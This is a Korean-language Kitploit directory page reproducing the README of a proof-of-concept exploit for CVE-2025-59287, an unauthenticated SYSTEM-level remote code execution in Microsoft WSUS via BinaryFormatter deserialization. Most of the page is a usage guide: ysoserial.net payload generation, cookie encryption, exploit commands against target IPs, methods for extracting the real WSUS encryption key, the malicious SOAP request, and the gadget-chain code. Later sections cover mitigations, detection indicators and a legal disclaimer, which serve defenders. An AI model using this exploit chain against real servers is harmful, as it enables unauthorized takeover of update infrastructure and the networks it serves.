Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-59287-exploit-poc — CVE-2025-59287에 대한 개념 증명 익스플로잇으로, 안전하지 않은 BinaryFormatter 역직렬화를 통해 WSUS에서 인증 없이 원격 코드 실행(RCE)을 달성하며, 조작된 암호화 쿠키를 통해 SYSTEM 권한을 획득합니다. | Kitploit
도구/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

CVE-2025-59287에 대한 개념 증명 익스플로잇으로, 안전하지 않은 BinaryFormatter 역직렬화를 통해 WSUS에서 인증 없이 원격 코드 실행(RCE)을 달성하며, 조작된 암호화 쿠키를 통해 SYSTEM 권한을 획득합니다.

저장소 보기
19개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-59287 개념 증명 익스플로잇

취약점 개요

CVE-2025-59287은 Microsoft Windows Server Update Services(WSUS)의 치명적인 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 EncryptionHelper.DecryptData() 메서드에서 BinaryFormatter를 통한 AuthorizationCookie 데이터의 안전하지 않은 역직렬화로 인해 발생합니다.

영향: 인증되지 않은 공격자는 GetCookie() 엔드포인트에 악성 암호화 쿠키를 전송하여 SYSTEM 권한으로 원격 코드 실행을 달성할 수 있습니다.

CVSS 점수: 치명적(9.8)

취약점 세부 정보

  • 영향을 받는 구성 요소: WSUS ClientWebService.asmx GetCookie() 엔드포인트
  • 근본 원인: 적절한 검증 없이 신뢰할 수 없는 입력에 대해 BinaryFormatter.Deserialize() 호출
  • 공격 벡터: GetCookie() SOAP 엔드포인트로 전송된 악성 암호화 쿠키
  • 필요한 인증: 없음 (인증되지 않은 RCE)
  • 영향을 받는 포트: 8530(HTTP), 8531(HTTPS)

아키텍처

root@kitploit:~
┌─────────────────┐
│   공격자        │
│                 │
│  1. BinaryFmt   │
│     페이로드    │
│     생성        │
│                 │
│  2. 페이로드    │
│     암호화      │
│                 │
│  3. SOAP 요청   │
│     전송        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   WSUS 서버     │
│                 │
│  GetCookie()    │
│  엔드포인트     │
│                 │
│  DecryptData()  │◄─── 취약
│                 │
│  BinaryFormatter│◄─── 안전하지 않은 역직렬화
│  Deserialize()  │
│                 │
│  페이로드 실행  │◄─── SYSTEM 권한 RCE
└─────────────────┘

파일 구조

root@kitploit:~
exploit-poc/
├── wsus_exploit.py                    # 메인 익스플로잇 스크립트
├── BinaryFormatterPayloadGenerator.cs # .NET 페이로드 생성기(C#)
├── encrypt_payload.py                 # WSUS 암호화 헬퍼
├── requirements.txt                   # Python 의존성
└── README.md                          # 이 파일

사전 요구 사항

Python 환경

root@kitploit:~
pip install -r requirements.txt

.NET Framework(페이로드 생성용)

  • .NET Framework 4.0 이상이 설치된 Windows
  • 또는 대안으로 ysoserial.net 사용

사용 방법

방법 1: 전체 워크플로우

1단계: BinaryFormatter 페이로드 생성

옵션 A: 제공된 C# 생성기 사용

root@kitploit:~
# 생성기 컴파일
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# 페이로드 생성
BinaryFormatterPayloadGenerator.exe calc.exe
# 생성: payload_YYYYMMDDHHMMSS.bin

옵션 B: ysoserial.net 사용(권장)

root@kitploit:~
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

2단계: 페이로드 암호화

root@kitploit:~
python encrypt_payload.py payload.bin -o encrypted_cookie.txt

중요: encrypt_payload.py의 암호화 키는 자리 표시자입니다. 실제 익스플로잇을 위해서는 다음을 수행해야 합니다:

  1. WSUS 바이너리에서 실제 암호화 키를 리버스 엔지니어링
  2. 실제 키로 encrypt_payload.py 업데이트
  3. 아래 "WSUS 암호화 키 찾기" 섹션 참조

3단계: 익스플로잇 실행

root@kitploit:~
# 페이로드 파일 사용(즉시 암호화)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# 사전 암호화된 쿠키 사용
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# HTTPS 사용(포트 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

방법 2: 빠른 테스트

root@kitploit:~
# 생성, 암호화, 익스플로잇을 한 번에
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin

실제 WSUS 암호화 키 찾기

실제 익스플로잇을 위해서는 암호화 키를 반드시 WSUS 바이너리에서 추출해야 합니다.

방법 1: dnSpy로 리버스 엔지니어링

  1. WSUS DLL 찾기:

    root@kitploit:~
    %ProgramFiles%\Update Services\WebServices\bin\
    

    또는 IIS 웹 디렉터리:

    root@kitploit:~
    %SystemDrive%\inetpub\wwwroot\wsusadmin\
    
  2. dnSpy에서 열기(무료 .NET 디컴파일러):

    • 다운로드: https://github.com/dnSpy/dnSpy
    • Microsoft.UpdateServices.WebServices.dll 열기
  3. EncryptionHelper 검색:

    • Microsoft.UpdateServices.WebServices 네임스페이스로 이동
    • EncryptionHelper 클래스 찾기
    • DecryptData() 및 EncryptData() 메서드 확인
    • 암호화 키와 알고리즘 추출
  4. 일반적인 패턴:

    • 하드코딩된 바이트 배열
    • 문자열 상수
    • 머신 GUID/SID에서 키 파생

방법 2: 런타임 분석

  1. WinDbg 또는 x64dbg 사용:

    • EncryptionHelper.DecryptData()에 중단점 설정
    • 키 자료를 위해 메모리/레지스터 검사
    • 암호화/복호화 작업 모니터링
  2. Process Monitor 사용:

    • WSUS 프로세스로 필터링
    • 레지스트리/구성 파일 액세스 확인
    • 키가 레지스트리에 저장될 수 있음

방법 3: 정적 분석

  1. IDA Pro 또는 Ghidra 사용:

    • WSUS 바이너리 로드
    • 암호화 관련 문자열 검색
    • 키 파생 알고리즘 분석
  2. strings 유틸리티 사용:

    root@kitploit:~
    strings Microsoft.UpdateServices.WebServices.dll | grep -i key
    strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
    

익스플로잇 업데이트

실제 키를 확보한 후 encrypt_payload.py를 업데이트합니다:

root@kitploit:~
# encrypt_wsus_cookie()에서 이 줄을 교체:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # 자리 표시자

# 실제 키로 교체:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

또는 명령줄로 전달:

root@kitploit:~
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

익스플로잇 흐름

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter 페이로드 생성                             │
│    ObjectDataProvider → Process.Start() → 명령 실행          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. 페이로드 암호화                                           │
│    WSUS 암호화 키로 AES-128-CBC                              │
│    전송을 위해 Base64 인코딩                                 │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP 요청 생성                                           │
│    AuthorizationCookie 헤더에 암호화된 페이로드 포함          │
│    SOAP 본문의 GetCookie() 메서드                            │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. WSUS 엔드포인트로 전송                                    │
│    POST /ClientWebService/ClientWebService.asmx              │
│    포트 8530(HTTP) 또는 8531(HTTPS)                          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS 처리                                                 │
│    DecryptData()가 쿠키 복호화                               │
│    BinaryFormatter.Deserialize()가 페이로드 실행             │
│    → SYSTEM 권한 RCE                                         │
└─────────────────────────────────────────────────────────────┘

SOAP 요청 구조

root@kitploit:~
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
        <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
        </AuthorizationCookie>
    </soap:Header>
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieType>AuthorizationCookie</cookieType>
        </GetCookie>
    </soap:Body>
</soap:Envelope>

페이로드 생성 세부 정보

익스플로잇은 ObjectDataProvider 가젯 체인을 사용합니다:

root@kitploit:~
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };

BinaryFormatter.Deserialize()가 이를 처리하면 자동으로:

  1. ObjectDataProvider 역직렬화
  2. ObjectInstance(Process)에서 MethodName("Start") 호출
  3. MethodParameters(ProcessStartInfo) 전달
  4. SYSTEM 권한으로 명령 실행

테스트 체크리스트

  • BinaryFormatter 페이로드 생성
  • WSUS 암호화 키 추출/식별
  • 올바른 키로 페이로드 암호화
  • WSUS 엔드포인트 접근 가능 여부 확인
  • 악성 쿠키로 SOAP 요청 전송
  • 대상에서 명령 실행 확인
  • 격리된 실험실 환경에서 테스트

제한 사항

  1. 암호화 키: 자리 표시자 키는 실제 시스템에서 작동하지 않습니다. 실제 키를 추출해야 합니다.
  2. BinaryFormatter 페이로드: 생성하려면 .NET Framework 또는 ysoserial.net이 필요합니다.
  3. 네트워크 액세스: WSUS 엔드포인트(포트 8530/8531)에 네트워크 액세스가 있어야 합니다.
  4. WSUS 버전: WSUS 버전에 따라 동작이 다를 수 있습니다.

완화 조치

즉시 조치

  1. Microsoft 보안 업데이트 적용: 즉시 패치

    • Microsoft 보안 권고 확인
    • WSUS를 패치된 버전으로 업데이트
  2. 임시 해결 방법: WSUS가 필요하지 않은 경우 포트 차단

    root@kitploit:~
    # WSUS 포트의 인바운드 트래픽 차단
    New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
    
  3. 네트워크 분리: WSUS 엔드포인트에 대한 액세스 제한

    • 승인된 업데이트 서버에서만 액세스 허용
    • 방화벽 규칙으로 소스 IP 제한

장기적 수정

  1. BinaryFormatter 교체: Microsoft는 안전한 직렬화로 교체해야 함

    • 유형 검증이 있는 System.Text.Json 또는 System.Xml.Serialization 사용
    • 엄격한 유형 허용 목록 구현
  2. 입력 검증: 포괄적인 검증 추가

    • 역직렬화 전에 모든 쿠키 데이터 검증
    • 예기치 않은 유형/스키마 거부
  3. 최소 권한 원칙: WSUS 서비스를 최소 권한으로 실행

    • 가능하면 SYSTEM으로 실행하지 않음
    • 제한된 권한의 서비스 계정 사용

탐지

침해 지표(IoC)

  • 포트 8530/8531로의 비정상적인 네트워크 트래픽
  • Base64로 인코딩된 AuthorizationCookie 헤더가 있는 SOAP 요청
  • WSUS 서비스 컨텍스트에서 예기치 않은 프로세스 실행
  • WSUS 로그의 BinaryFormatter 역직렬화 예외

로그 분석

WSUS 로그 확인:

root@kitploit:~
%ProgramFiles%\Update Services\LogFiles\

다음 항목 확인:

  • SOAP 요청 오류
  • 역직렬화 예외
  • 무단 액세스 시도

네트워크 모니터링

다음 항목 모니터링:

  • /ClientWebService/ClientWebService.asmx에 대한 SOAP 요청
  • AuthorizationCookie 헤더의 대용량 Base64 페이로드
  • WSUS 서비스의 비정상적인 명령 실행

법적 고지

⚠️ 경고: 이 익스플로잇 코드는 승인된 보안 테스트 전용으로 제공됩니다.

  • ✅ 합법적 사용:

    • 자신의 시스템 테스트
    • 승인된 침투 테스트
    • 허가를 받은 보안 연구
    • 통제된 환경에서의 교육 목적
  • ❌ 불법적 사용:

    • 시스템에 대한 무단 액세스
    • 악의적인 공격
    • 컴퓨터 사기법 위반
    • 명시적 허가 없이 사용

이 익스플로잇의 무단 사용은 형사 기소로 이어질 수 있습니다. 책임감 있고 윤리적으로 사용하십시오.

참고 자료

  • CVE-2025-59287: 공식 CVE 항목
  • Microsoft 보안 권고: 공식 패치 및 지침 확인
  • BinaryFormatter 보안 가이드: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
  • ysoserial.net: https://github.com/pwntester/ysoserial.net

크레딧

  • 보안 연구원이 발견한 취약점
  • 교육 및 승인된 테스트 목적으로 개발된 PoC

버전 기록

  • v1.0: 초기 PoC 릴리스
    • 메인 익스플로잇 스크립트
    • .NET 페이로드 생성기
    • 암호화 헬퍼
    • 문서화

기억하세요: 항상 격리된 통제된 환경에서 테스트하십시오. 소유하지 않거나 명시적 테스트 허가가 없는 시스템에는 절대 사용하지 마십시오.

도구 다운로드